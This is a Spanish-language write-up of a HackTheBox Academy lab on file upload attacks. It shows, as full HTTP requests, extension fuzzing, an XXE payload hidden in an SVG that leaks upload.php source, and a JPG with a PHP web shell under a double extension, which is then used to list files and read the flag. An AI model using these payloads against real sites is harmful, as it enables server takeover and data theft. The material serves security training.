Skills Assessment - File Upload Attacks
Resumen
Nos dan una web vulnerable a File Upload, debemos usar todo lo dado en el módulo para conseguirlo.
| Plataforma | HackTheBox |
|---|---|
| Dificultad | 🟡 Medio |
| Sistema operativo | 🐧 Linux |
| Estado | Terminada |
| Técnicas | #web#lfi |
| Extensión | 415 palabras · 2 min |
| Máquina original | https://academy.hackthebox.com/app/module/136/section/1310 |
Resumen
Nos dan una web vulnerable a File Upload, debemos usar todo lo dado en el módulo para conseguirlo.

Superficie de ataque
| Endpoint | Método | Parámetros | Observaciones |
|---|---|---|---|
| /contact/upload.php | POST | imagen | Vulnerable! |
| /contact/submit.php | GET | No vulnerable, probablemente no sirve para nada |
Análisis
Nos da esta pista:
Try to fuzz for non-blacklisted extensions, and for allowed content-type headers. If you are unable to locate the uploaded files, try to read the source code to find the uploads directory and the naming scheme.
Por lo que voy paso a paso. Para resolver esta máquina necesité 2 horas debido a que estuve dando vueltas hasta que encontré la solución, aquí pondré la solución directamente (sin indicar la flag) para no hacer muy extenso el writeup.
Explotación
http1POST /contact/upload.php HTTP/1.1 2Host: 154.57.164.75:32638 3User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:140.0) Gecko/20100101 Firefox/140.0 4Accept: */* 5Accept-Language: en-US,en;q=0.5 6Accept-Encoding: gzip, deflate, br 7Referer: http://154.57.164.75:32638/contact/ 8X-Requested-With: XMLHttpRequest 9Content-Type: multipart/form-data; boundary=----geckoformboundary671c2221cd333985644e270b4f1f93b 10Content-Length: 208151 11Origin: http://154.57.164.75:32638 12DNT: 1 13Connection: keep-alive 14Priority: u=0 15 16------geckoformboundary671c2221cd333985644e270b4f1f93b 17Content-Disposition: form-data; name="uploadFile"; filename="img.jpg" 18Content-Type: image/jpeg 19 20ÿØÿà .... (todo el contenido de la imagen)
Nos devolvía un código en base64, pero no nos indicaba por ningún lado ninguna pista, ni la carpeta de subida de ficheros.
También intenté hacer ffuf a /contact/FUZZ pero no sirvió de nada, la imagen se subió correctamente pero no había forma de encontrar la carpeta donde se sube ese fichero.
Con el intruder a esa petición y usando el diccionario de web-extensions.txt (dentro de seclist) y filtrando por los mensajes de error que me salían: Only images are allowed y Extension not allowed logré sacar lo siguiente:


Lo interesante de esto, es que .log y .reg no había problemas en subirlos y devolvía como si fuera una imagen. Pero este análisis realmente nos sirvió para saber que por ejemplo la extensión .phar pasa el primer filtro, ya que nos devolvía un Only images are allowed y dicha extensión es capaz de ejecutar código php
Payload final
Tras mucha mucha búsqueda, encontré que se podían subir archivos svg (pese a que no estaba en la whitelist). Lo conseguí ejecutando esta petición:
http1POST /contact/upload.php HTTP/1.1 2Host: 154.57.164.77:30503 3User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:140.0) Gecko/20100101 Firefox/140.0 4Accept: */* 5Accept-Language: en-US,en;q=0.5 6Accept-Encoding: gzip, deflate, br 7Referer: http://154.57.164.77:30503/contact/ 8X-Requested-With: XMLHttpRequest 9Content-Type: multipart/form-data; boundary=----geckoformboundaryd5cb21e20f89248934102206832e4147 10Content-Length: 418 11Origin: http://154.57.164.77:30503 12DNT: 1 13Connection: keep-alive 14Priority: u=0 15 16------geckoformboundaryd5cb21e20f89248934102206832e4147 17Content-Disposition: form-data; name="uploadFile"; filename="try.phar.svg" 18Content-Type: image/jpeg 19 20<?xml version="1.0" encoding="UTF-8"?> 21<!DOCTYPE svg [ <!ENTITY xxe SYSTEM "php://filter/convert.base64-encode/resource=upload.php"> ]> 22<svg>&xxe;</svg> 23------geckoformboundaryd5cb21e20f89248934102206832e4147--
Nos devolvía un b64 que incluso burp podía descifrar. Lo de leer upload.php lo hice debido a que lo ponía en la pista que nos daba HTB. Pues debíamos leer el código fuente para saber donde se almacenan los ficheros.

Simplemente, leyendo uploads.php nos damos cuenta de que la imagen se sube a la carpeta /contact/user_feedback_submissions/fecha_nombrefichero.extension donde fecha está en formato YYMMDD (por ejemplo en mi caso 260823_img.phar.jpg).
Nos faltaría ejecutar la petición upload de nuevo donde le coloquemos una webshell.
http1POST /contact/upload.php HTTP/1.1 2Host: 154.57.164.77:30503 3User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:140.0) Gecko/20100101 Firefox/140.0 4Accept: */* 5Accept-Language: en-US,en;q=0.5 6Accept-Encoding: gzip, deflate, br 7Referer: http://154.57.164.77:30503/contact/ 8X-Requested-With: XMLHttpRequest 9Content-Type: multipart/form-data; boundary=----geckoformboundaryd5cb21e20f89248934102206832e4147 10Content-Length: 418 11Origin: http://154.57.164.77:30503 12DNT: 1 13Connection: keep-alive 14Priority: u=0 15 16------geckoformboundaryd5cb21e20f89248934102206832e4147 17Content-Disposition: form-data; name="uploadFile"; filename="img.phar.jpg" 18Content-Type: image/jpeg 19 20ÿØÿà 21<?php system($_REQUEST['cmd']); ?>
En mi caso cogí una imagen jpg real y luego le puse <?php system($_REQUEST['cmd']); ?> ya bastaría con acceder a http://154.57.164.77:30503/contact/user_feedback_submissions/260823_img.phar.jpg?cmd=whoami y vemos como efectivamente funciona:

Hacemos http://154.57.164.77:30503/contact/user_feedback_submissions/260823_img.phar.jpg?cmd=ls%20/ y nos mostrará el nombre de la flag y posteriormente sería mostrarla con un cat:
http://154.57.164.77:30503/contact/user_feedback_submissions/260823_img.phar.jpg?cmd=cat%20/flag_2b8f1d2da162d8c44b3696a1dd8a91c9.txt
Terminando así el módulo correctamente

